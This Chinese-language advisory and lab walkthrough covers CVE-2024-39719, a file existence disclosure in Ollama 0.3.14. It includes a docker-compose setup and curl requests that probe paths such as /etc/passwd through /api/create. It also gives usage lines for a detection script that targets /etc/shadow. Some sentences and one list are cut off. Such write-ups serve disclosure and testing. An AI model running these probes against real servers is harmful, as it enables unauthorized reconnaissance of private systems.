
CVE-2024-39719 是一个影响 Ollama 0.3.14 及之前版本的文件存在性泄露(File Existence Disclosure)漏洞。该漏洞允许攻击者通过 API 接口探测服务器上特定文件是否存在,从而可能导致信息泄露。
发布日期:2024年10月31日
该漏洞存在于 Ollama 的 /api/create 端点中。当攻击者调用 CreateModel API 并传递一个路径参数时,服务器会根据该路径是否存在返回不同的错误消息。这种行为使攻击者能够通过分析错误消息来确定服务器上特定文件或目录是否存在。
该漏洞的核心问题是在处理用户输入时没有正确地隐藏路径存在性信息,而是直接将文件系统错误返回给了客户端。
此漏洞影响 Ollama 0.3.14 及之前的所有版本。
虽然文件存在性泄露漏洞本身可能看起来不太严重,但它可能:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/ 确认 Ollama 0.3.14 已成功运行。使用 curl 命令发送请求,尝试访问不存在的文件:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
返回结果:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
测试一个存在的文件,例如 /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
返回结果:
{"error":"no FROM line for the model was specified"}
通过以上不同的错误消息,攻击者可以判断目标路径文件是存在还是不存在,从而获取服务器文件结构信息。 需要注意的是,服务器根据不同请求返回的信息可能随着版本不同而不同。
Ollama 官方已在更新版本中修复了该漏洞。修复措施包括:
/api/create 端点的异常访问模式进行检测。提供的 Python 脚本可用于检测 Ollama 服务器是否易受 CVE-2024-39719 漏洞的影响。
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama服务器URL> [-f <要检查的文件>]
-u, --url: Ollama 服务器的 URL(必需)-f, --file: 要检查是否存在的文件(默认为 "/etc/passwd")# 检查服务器是否存在漏洞
python CVE_2024_39719.py -u http://your-ip:11434
# 检查特定文件是否存在
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
此脚本仅供教育目的和合法的安全测试使用。在测试任何系统的漏洞之前,请确保您已获得适当的授权。未经授权的测试可能违反法律法规。